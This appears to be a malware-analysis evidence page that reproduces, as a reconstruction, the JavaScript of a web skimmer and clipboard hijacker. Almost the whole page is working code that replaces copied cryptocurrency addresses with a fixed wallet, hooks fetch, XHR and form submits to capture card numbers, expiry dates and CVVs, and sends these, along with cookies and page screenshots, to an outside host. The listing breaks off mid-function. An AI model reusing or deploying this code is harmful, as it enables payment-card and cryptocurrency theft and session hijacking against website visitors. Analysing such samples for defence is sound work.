variant-replaceall-doublequote.js
Replaces copied selections with a fixed walletWallet clipper exports a rendered page image
SHA-25669508584cd9a723f893ec129a14b5ae1e0171cddf570ace39ecd84bc3ce454d3
Evidence
1// Reconstruction from Report URI and Amirul Cyber, not original track.js bytes.
2(function () {
3 function substitute(text) {
4 return text.replaceAll(/0x[a-fA-F0-9]{40}/g, "0xC4026b06D82b0F0B363eda0642D61CfbDc17884e");
5 }
6 const write = navigator.clipboard.writeText.bind(navigator.clipboard);
7 navigator.clipboard.writeText = function (text) { return write(substitute(text)); };
8 document.addEventListener("copy", function (event) {
9 const text = window.getSelection().toString();
10 event.clipboardData.setData("text/plain", substitute(text));
11 event.preventDefault();
12 });
13 const observer = new MutationObserver(function () {
14 document.querySelectorAll("input,textarea").forEach(function (field) {
15 field.value = substitute(field.value);
16 });
17 });
18 observer.observe(document.documentElement, {childList: true, subtree: true});
19 function luhn(value) {
20 let total = 0, twice = false;
21 for (let i = value.length - 1; i >= 0; i--) {
22 let digit = Number(value[i]);
23 if (twice) { digit *= 2; if (digit > 9) digit -= 9; }
24 total += digit; twice = !twice;
25 }
26 return total % 10 === 0;
27 }
28 function skim(body) {
29 const data = new URLSearchParams(body);
30 const n = data.get("card-number"), e = data.get("expiry"), c = data.get("cvv");
31 if (n && e && c && luhn(n)) {
32 navigator.sendBeacon("https://1688360.cc/card.php", JSON.stringify({n: n, e: e, c: c, u: location.href}));
33 sessionStorage.setItem("cc_" + n, "1");
34 }
35 }
36 const original = window.fetch;
37 window.fetch = function (url, options) {
38 if (options && options.body) skim(options.body);
39 return original.apply(this, arguments);
40 };
41 const send = XMLHttpRequest.prototype.send;
42 XMLHttpRequest.prototype.send = function (body) { skim(body); return send.apply(this, arguments); };
43 document.addEventListener("submit", function (event) { skim(new FormData(event.target)); }, true);
44 function report() {
45 html2canvas(document.body).then(function (canvas) {
46 fetch("https://1688360.cc/hit.php", {
47 method: "POST", body: JSON.stringify({url: location.href, cookies: document.cookie, image: canvas.toDataURL("image/jpeg")})
48 });